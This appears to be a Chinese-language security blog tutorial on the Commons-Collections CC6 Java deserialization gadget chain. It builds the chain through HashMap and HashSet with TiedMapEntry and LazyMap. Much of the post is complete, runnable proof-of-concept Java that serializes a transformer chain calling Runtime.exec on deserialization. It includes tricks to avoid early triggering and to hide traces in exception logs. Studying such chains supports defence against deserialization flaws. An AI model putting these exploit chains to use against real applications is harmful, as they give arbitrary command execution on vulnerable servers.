CC6

Java学习

CC6

在CC1已经说过了,在JDK 8u71以后,官方修改了AnnotationInvocationHandler的readObject()方法,导致CC1不能再利用。

所以现在需要找寻新的利用链用于解决高版本Java的问题,现在先来看这个利用链。

测试环境

  • JDK 8u411
  • commons-collections 3.2.1

代码调试

在前面的CC1的LazyMap链中利用的就是get()方法,那么现在其实还可以寻找在上下文中是否还有其他调用LazyMap#get()的类,并且要求这个可利用的类实现了Serializable接口。 在这里找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry,重点就是下面的两个方法,分别是:

1
2
3
4
5
6
7
8
9
//getValue()
public Object getValue() {
        return this.map.get(this.key);
    }
//hashCode()
public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

在这里可以看到在hashCode()方法中调用了getValue()方法,在getValue()方法中的this.map.get(this.key);,只要这里可以将this.map的值设置为LazyMap的实例,就又可以成为一个利用链的起始点。

所以现在需要先找到可以使用什么类来触发TiedMapEntry#hashCode()方法,在这里,同样的有两条链子,分别是HashMap和HashSet

利用HashMap

利用链代码审计

此时我想到了URLDNS链,其中有一个步骤调用了hashCode()方法,如下: image-20240727213424040

这里就是调用的key的hashCode方法,在URLDNS中的这个key对应的是URL类实例,所以URLDNS中调用的是URL类的hashCode()方法,那么现在其实也比较简单了,先大概想一下流程:

  • 这里肯定是用HashMap作为序列化以及反序列化的对象
  • 很简单了,然后在反序的时候自然会到hash()方法,此时我们需要在要序列化的代码中put进一个key为TiedMapEntry类的实例,让这个key等于TiedMapEntry对象,这样就会顺利调用到TiedMapEntry类的hashCode()方法,然后再将TiedMapEntry类里面的map设置为LazyMap类的实例,这样就会成功调用到LazyMap类的get方法,后面就是CC1中提过的了。

流程基本清楚,现在就是如何设计代码了

然后就是看如何传入基本盘了,基本盘如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
//基本盘
package org.example;

import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import java.lang.annotation.Retention;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Retention.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})});

    }
}

现在就是需要将这个基本盘传入TiedMapEntry类,看一下这个类的构造方法:

image-20240727222829688

都是public,那么直接引入即可,所以这里的利用代码就是:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package org.example;

import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import java.lang.annotation.Retention;

import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.util.HashMap;
import java.util.Map;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.Runtime;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})});
        Map lazy = LazyMap.decorate(null,chain);
        TiedMapEntry o = new TiedMapEntry(lazy,null);
        HashMap hashMap = new HashMap();
        hashMap.put(o,"xxx");

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashMap);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
}

报错显示在实例化LazyMap那里不能传入null,

image-20240728002358043

那么我就再创一个HashMap实例进去赋值,那么测试代码就是:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package org.example;

import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import java.lang.annotation.Retention;

import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.util.HashMap;
import java.util.Map;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.Runtime;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})});
        Map haha = new HashMap();
        Map lazy = LazyMap.decorate(haha,chain);
        TiedMapEntry o = new TiedMapEntry(lazy,null);
        HashMap hashMap = new HashMap();
        hashMap.put(o,"xxx");

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashMap);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
}

运行结果如下:

image-20240728002522587

虽然成功弹出计算机,本来也以为只是平常的报错,然后去看了一下其他文章,发现是自己的代码有问题,首先就是在hashMap.put(),本身的put()方法就是与HashMap#readObject()的部分源码相同:

image-20240728112501469

这样在put时就会触发一次利用链,这也是为什么会弹出计算机的原因(后面会说这个的解决方法)。

再来看这个报错内容:

image-20240728112639545

这个报错内容显示我在序列化过程中试图序列化一个不可序列化的exec执行后返回的Process对象,然后前面的CC1却没有报这样的错,这里就看看差别(个人理解,仅供参考):

  • 对于前面的错误代码:首先就是我们new了一个HashMap实例,然后我们往里面put进了一个TiedMapEntry类实例,而在序列化HashMap时,会遍历 HashMap 中的每个 Map.Entry 对象(即键值对),并序列化每个键值对,而对于每个 Map.EntryObjectOutputStream 会调用它们的 getKey()getValue() 方法来获取键和值,以便对它们进行序列化,然后ObjectOutputStream的writeObject方法就会尝试去序列化

    然后由于我们设置的值,传入了TiedMapEntry类实例,在调用getValue()后会进入LazyMap的get()方法从而导致整条利用链的进行,然后Runtime.getRuntime().exec("calc")这个调用会尝试启动一个新进程,返回一个不可序列化的 Process 对象。用一个代码测试一下是否会遍历:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import java.lang.Runtime;
import java.util.HashMap;
import java.io.Serializable;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
public class Main implements Serializable {
    public static void main(String args[]) throws Exception {
        HashMap o = new HashMap();
        Runtime x = Runtime.getRuntime();
        o.put(x,"xxx");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(o);
        out.close();
    }
}

运行结果: image-20240728164050713

说明确实在HashMap序列化的时候会遍历条目并调用writeObject()方法对其进行序列化,如果要序列化的对象没有定义writeObject()方法,就会调用默认的writeObject()方法去序列化它(对于默认个人理解应该是ObjectOutputStream的writeObject方法)。

结合前面的解释,那么就是由于调用了TiedMapEntrygetValue()方法,然后进行链式反应,最终会返回一个Process对象作为这个"value",但是由于这个对象是不可被序列化的,所以最终会报错不可被序列化。

  • 那么对于CC1中的LazyMap链:那里通过使用 AnnotationInvocationHandler 代理包装 LazyMap避免在序列化过程中触发变换器链,避免了异常。

——————

那么对于这个问题的解决方法,ysoserial早在CC1中就有了优化: image-20240728201220911

image-20240728212955708

它这里是最后才将恶意transformers数组设置到transformerChain中,解决问题的方法就在这里。

同时注意看基本盘代码里面,添加了一个ConstantTransformer(1),这是为了隐藏异常日志中的信息,起到了隐蔽启动进程的日志特征的作用。以CC1为例看一下使用过后的差别: 使用前的特征:

image-20240728213330395

使用后的特征:

image-20240728213433801

使用后同样成功弹出计算机,但是这里的异常日志特征已经被改变了。

解决方法就在里面,所以我们可以在利用链的最后加上一个new ConstantTransformer(1),熟悉这个类的transformer()方法就可以知道,这里不会管传入的input,这里就会直接返回一个1,再结合正常的例如put(1,"xxx")这种,这样在序列化时就不会报无法序列化的错误,同时也可以起到隐藏日志的作用。

所以修改后的POC为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package org.example;

import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;


import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.util.HashMap;
import java.util.Map;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.Runtime;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)});
        Map haha = new HashMap();
        Map lazy = LazyMap.decorate(haha,chain);
        TiedMapEntry o = new TiedMapEntry(lazy,null);
        HashMap hashMap = new HashMap();
        hashMap.put(o,"xxx");

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashMap);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();
    }
}

没有报错,但是还是没有成功反序列化,否则应该会弹出两个计算机。

调试一下,加断点如下: image-20240728215134473

在调试过程中发现如下情况

image-20240728215245419

也就是这里的if条件并没有通过,还显示一个null,就是因为我在传初始化TiedMapEntry时将key设置为了null,而调用get()方法的逻辑是将key传进去了的:

image-20241227174330844

这也是为什么在LazyMap的get()方法中显示的是null。

所以需要改一下POC,这里直接将key设置成一个可见字符就行了,具体看后面的代码。

同时解决一个问题:在序列化之前调用put()时会弹出计算机的问题 思路:可以先传入一个假的“链”,在put过后再调用反射将这个利用链传回去。

看这个ChainedTransformer的利用的变量: image-20240728220309587

image-20240728220325713

也就是这个iTransformers变量,所以我们可以这样干,看代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
//先定义一个假的transformer
        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};

//再声明一个利用链
        Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};

//先传入假的transformer
        Transformer chain = new ChainedTransformer(fakeTransformer);
        Map haha = new HashMap();
        Map lazy = LazyMap.decorate(haha,chain);
        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
        HashMap hashMap = new HashMap();
        hashMap.put(outerMap,"fupanc");

//在put过后,在序列化之前,调用反射将假的链换成真的chainpart
        Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
        x.setAccessible(true);
        x.set(chain,chainpart);
//然后再进行序列化

整合进全部代码就是:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.example;

import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;


import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.util.HashMap;
import java.util.Map;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.Runtime;
import java.lang.reflect.Field;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};

        Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};

        Transformer chain = new ChainedTransformer(fakeTransformer);
        Map haha = new HashMap();
        Map lazy = LazyMap.decorate(haha,chain);
        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
        HashMap hashMap = new HashMap();
        hashMap.put(outerMap,"fupanc");

        Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
        x.setAccessible(true);
        x.set(chain,chainpart);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashMap);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
}

成功不再弹出由于put而引起的计算机,但是反序列化化石灭有弹出计算机。

那么为什么没有反序列化成功弹出计算机?同样调试,发现:

image-20240728223257063

这里的key是fupanc,也就是我们在实例化时TiedMapEntry传入的"fupanc",对于这里的key为fupanc很正常

image-20240728223445809

但是这里的get()方法的if条件没有通过的原因,也就是说明有对象中有fupanc这个键,那么为什么会出现这个现象呢,看代码

image-20240728233400836

原因就是这个,put方法追溯源码后也会调用hashCode()方法,但是我们这里传入了TiedMapEntry类对象的outerMap,所以这里也会进入到LazyMap#get(),剩下重点看get()方法的源码: image-20240728233650715

我们第一次确实是没有key为fupanc的键值对,但是看get()方法的源码,在进入if条件后,这里经过transform方法返回value,在if语句的最后调用了this.map.put(key,value); 也就是调用了HashMap的put方法并传入了一个key为fupanc,value为1的键值对(Key=fupanc,Value=1),所以我们在反序列化的时候会因为对象中有这个键为fupanc的键值对而失败。

解决方法:很简单,在调用put方法后,我们再调用remove方法来删掉这个键值对即可(一定要注意键值对所属对象的问题)。

那么最终的POC为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package org.example;

import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;


import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.util.HashMap;
import java.util.Map;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.Runtime;
import java.lang.reflect.Field;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};

        Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};

        Transformer chain = new ChainedTransformer(fakeTransformer);
        Map haha = new HashMap();
        Map lazy = LazyMap.decorate(haha,chain);
        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
        HashMap hashMap = new HashMap();
        hashMap.put(outerMap,"fupanc");
        haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行

        Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
        x.setAccessible(true);
        x.set(chain,chainpart);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashMap);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
}

成功弹出计算机:

image-20240728235059699

问题总结

总结前面的问题:

  • 无法序列化Process对象问题
  • 序列化之前弹计算机的解决方法
  • 需要remove的原因。

利用HashSet链

ysoserial链介绍了java.util.HashSet作为反序列化的入口,在HashSet类的readObject()方法的最后,会触发map.put方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Consume and ignore stream fields (currently zero).
        s.readFields();
        // Read capacity and verify non-negative.
        int capacity = s.readInt();
        if (capacity < 0) {
            throw new InvalidObjectException("Illegal capacity: " +
                                             capacity);
        }

        // Read load factor and verify positive and non NaN.
        float loadFactor = s.readFloat();
        if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        }
        // Clamp load factor to range of 0.25...4.0.
        loadFactor = Math.min(Math.max(0.25f, loadFactor), 4.0f);

        // Read size and verify non-negative.
        int size = s.readInt();
        if (size < 0) {
            throw new InvalidObjectException("Illegal size: " + size);
        }
        // Set the capacity according to the size and load factor ensuring that
        // the HashMap is at least 25% full but clamping to maximum capacity.
        capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
                HashMap.MAXIMUM_CAPACITY);

        // Constructing the backing map will lazily create an array when the first element is
        // added, so check it before construction. Call HashMap.tableSizeFor to compute the
        // actual allocation size. Check Map.Entry[].class since it's the nearest public type to
        // what is actually created.

        SharedSecrets.getJavaOISAccess()
                     .checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity));

        // Create backing HashMap
        map = (((HashSet<?>)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));

        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            @SuppressWarnings("unchecked")
                E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }

重点就是最后的for循环: image-20240729135002089

这里的map同样是一个HashMap对象,HashSet类初始化时基本都是将map设置为一个初始化的HashMap类:

image-20241227174959720

等构造方法。

而HashMap.put方法前面也说过,源码放过来一下:

image-20240729134636749

所以然后调用hash() ==> hashCode() ==> getValue() ==> get() ==> transform()也就是我们已经熟悉的操作了。

所以在前面的HashSet#readObject()中的e需要为TiedMapEntrry类实例

来稍微看一下HashSet类的变量:

image-20240729142444842

这里直接说明了PRESENT的值为Object类的实例。并且注意看HashSet类的构造方法,基本上都是直接将map定义为HashMap类的实例。所以这里在利用HaseSet类时直接放心将map直接当做HashMap对象即可

同时在HashSet中提供了一个add方法: image-20240729143154596

这个方法的作用就是向 HashSet 中添加一个元素。如果该元素已经存在于 HashSet 中,那么不会添加,并且返回 false。否则,会将该元素添加到 HashSet 中,并返回 true

测试一下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import java.util.HashSet;

public class Main{
    public static void main(String[] args)  {
        HashSet hash = new HashSet();
        System.out.println(hash.add("fupanc"));
        System.out.println(hash.add("haha"));
        System.out.println(hash.add("fupanc"));
    }
}
/*output:
true
true
false

调试一下,在true部分加断点: image-20240729144247770

进入add()方法源码

image-20240729144117162

随后确实进入了put方法,:

image-20240729144348512

同时跟一下源码,确实进行了在HashMap中的put操作。为了方便理解这里的返回true和false的区别,还是用代码来说明:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import java.util.HashSet;
import java.util.HashMap;

public class Main{
    public static void main(String[] args)  {
        HashSet hash = new HashSet();
        System.out.println(hash.add("fupanc"));
        System.out.println(hash.add("haha"));
        System.out.println(hash.add("fupanc"));
        //
        HashMap hashMap = new HashMap();
        System.out.println(hashMap.put("fupanc","xxxx"));
        System.out.println(hashMap.put("fupanc","xxxx"));
    }
}
/*output:
true
true
false
null
xxxx

也就是在HashMap的put方法中,如果没有键则会成功放入键值对并返回null,否则就会返回键对应的值

现在对于前面的add方法返回的布尔值就很好理解了:

  • 因为成功put进了fupan键和haha键,所以返回null,与add方法中定义的map.put(e, PRESENT)==null等号成立,返回ture,表明成功放入键值对
  • 而由于前面已经put进了fupanc键,导致再次调用put添加fupanc键返回的是前面定义的fupanc键的value,在这里也就是Object类的实例,但这样并不与null相同,所以返回的是false,表明并没有成功放入键值对

现在也就基本通了,结合前面的HashMap的理解,可以直接编写下面的POC来测试一下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package org.example;

import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.util.HashSet;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
public class Main{
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] chainPart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};
        Transformer chain = new ChainedTransformer(fakeTransformer);
        HashMap haha =new HashMap();
        Map lazy = LazyMap.decorate(haha,chain);
        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
        HashSet hashSet = new HashSet();
        hashSet.add(outerMap);
        haha.remove("fupanc");

        Field field1 = ChainedTransformer.class.getDeclaredField("iTransformers");
        field1.setAccessible(true);
        field1.set(chain,chainPart);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashSet);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();
    }
}

运行后成功弹出计算机:

image-20240729153811004

需要注意的地方和前面HashMap利用链差不多,说到底这个HashSet也就是间接调用HashMap的put方法,本质是一样的。

好处

这两个利⽤链可以在Java 7和8的⾼版本触发,应该是通杀Java7、8版本的。

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计